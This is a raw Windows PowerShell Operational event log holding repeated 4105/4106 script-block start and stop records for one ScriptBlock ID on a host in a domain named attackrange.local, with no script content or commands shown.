Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467743
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467742
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467741
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467740
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467739
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467738
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467737
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467736
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467735
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467734
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467733
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467732
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467731
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467730
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467729
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467728
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467727
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467726
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467725
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467724
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467723
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467722
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467721
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467720
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467719
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467718
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467717
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467716
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467715
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467714
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467713
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467712
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467711
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467710
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467709
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467708
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467707
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467970
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467969
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467968
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467967
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467966
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467965
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467964
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467963
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467962
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467961
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467960
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467959
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467958
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467957
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467956
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467955
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467954
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467953
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
